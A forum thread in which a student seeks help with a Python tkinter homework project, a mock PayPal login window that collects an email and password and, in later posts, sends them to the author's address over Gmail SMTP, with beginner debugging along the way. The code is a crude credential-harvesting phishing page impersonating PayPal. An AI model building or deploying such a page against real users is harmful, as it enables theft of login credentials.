Help With Computing Homework (1 Viewer)

Supreme

Well-Known Member
Joined
Nov 3, 2014
Messages
356
So for homework for computing I need to make a fake 'paypal phishing scam' GUI using tkinter.

However, whilst my file is working so far I can't figure out how to save the information in the Entry widget; I've read somewhere that I need to use the get() function however I can't process how to use it.

If anybody can help, my code so far is attached below; please look over it and explain to me below how I can do it or explain how to use get().

Much appreciated!

P.S. I'm using 2.7.9

import Tkinter as tkinter #Needed to use GUIs.
import smtplib #Needed to send emails.

window1=tkinter.Tk() #Creates the first window.
window1.title("PayPil.com/login") #Renames the first window.
window1.geometry("300x300") #Resizes the first window.
window1.wm_iconbitmap('paypal.ico') #Adds an icon to the window title.
window1.configure(background="#a1dbcd")



#Creates widgets.
welcome=tkinter.Label(window1,text="Please Login To Continue",fg="#383a39",bg="#a1dbcd",font=("Helvetica",16)) #Creates a widget that displays text.
usernametext=tkinter.Label(window1,text="Email:",bg="#a1dbcd",font=("Helvetica",9))
passwordtext=tkinter.Label(window1,text="Password:",bg="#a1dbcd",font=("Helvetica",9))
ent1=tkinter.Entry(window1) #Creates a widget where text can be entered.
ent2=tkinter.Entry(window1)
login=tkinter.Button(window1,text="Login",fg="#a1dbcd",bg="#383a39") #Creates a button with the text 'login'.

paypallogo=tkinter.PhotoImage(file="paypal.gif")
logo=tkinter.Label(window1,image=paypallogo)


#Loads up all of the widgets.
logo.pack()
welcome.pack()
usernametext.pack()
ent1.pack()
passwordtext.pack()
ent2.pack()
login.pack()
window1.mainloop()
 
So for homework for computing I need to make a fake 'paypal phishing scam' GUI using tkinter.

What the hell kind of school is that? Teaching you to phish and all that.
 
  • Winner
Reactions: Jayy
What the hell kind of school is that? Teaching you to phish and all that.
I think it came off on the wrong way, lol.
The teacher didn't want us to actually learn to phish, he just sent us off and asked us to make something cool using tkinter and as many functions as possible to show our understanding; so I'm doing a paypal phishing scam whilst another one of my friends is doing a nigerian prince scam, another is doing a game GUI etc.

I decided to do this because it shows I understand a lot of functions, also this is funny.
 
I think it came off on the wrong way, lol.
The teacher didn't want us to actually learn to phish, he just sent us off and asked us to make something cool using tkinter and as many functions as possible to show our understanding; so I'm doing a paypal phishing scam whilst another one of my friends is doing a nigerian prince scam, another is doing a game GUI etc.

I decided to do this because it shows I understand a lot of functions, also this is funny.

Yea that sounds better.
 
Still looking for some help on this, I've looked everywhere and I can't really seem to find a solution.
 
Update: I fixed the problem and now have it working, however I'm having issues with making it email the variables to myself; take a look (P.S. I've blocked my email password out so you don't hijack my account)
#EMAIL
email=smtplib.SMTP('smtp.gmail.com',587) #First is server, second is port.

email.ehlo() #helo=regular, ehlo=esmtp(extended smpt).

email.starttls() #encrypt login, tls=transport level security.

email.login('[email protected]','passwordhere') #Login that will SEND the email.

email.sendmail('[email protected]','[email protected]',username1,password1)

print 'finished'

This is how I set the variables
First I defined a command

def callback():
username1 = ent1.get()
password1 = ent2.get()


Then I attached the command to a button which collected the information (not important, you should get the jist)
 
I'm now getting a new error:
Traceback (most recent call last):
File "C:\Users\user\Desktop\Python\PayPal.py", line 47, in <module>
ent1.focus_set()
File "C:\Python27\lib\lib-tk\Tkinter.py", line 518, in focus_set
self.tk.call('focus', self._w)
TclError: can't invoke "focus" command: application has been destroyed
However line 518 is non existent; i mess up a lot in python being pretty new to it, so I'm going to need quite a bit of help on this one.
 
Fixed that one, but what do you know; New error!
Traceback (most recent call last):
File "C:\Users\user\Desktop\Python\PayPal.py", line 64, in <module>
user = makeentry(parent, "User name:", 10)
NameError: name 'parent' is not defined
This one is to do with the following lines
def makeentry(parent, caption, width=None, **options):
Label(parent, text=caption).pack(side=LEFT)
entry = Entry(parent, **options)
if width:
entry.config(width=width)
entry.pack(side=LEFT)
return entry

user = makeentry(parent, "Username:", 10)
password = makeentry(parent, "Password:", 10, show="*")

content = StringVar()
entry = Entry(parent, text=caption, textvariable=content)

text = content.get()
content.set(text)
 
Update: I ended up rewriting the entire email part and it ended up working.
I got an A* on it which is the highest possible grade, yay!
 

Users who are viewing this thread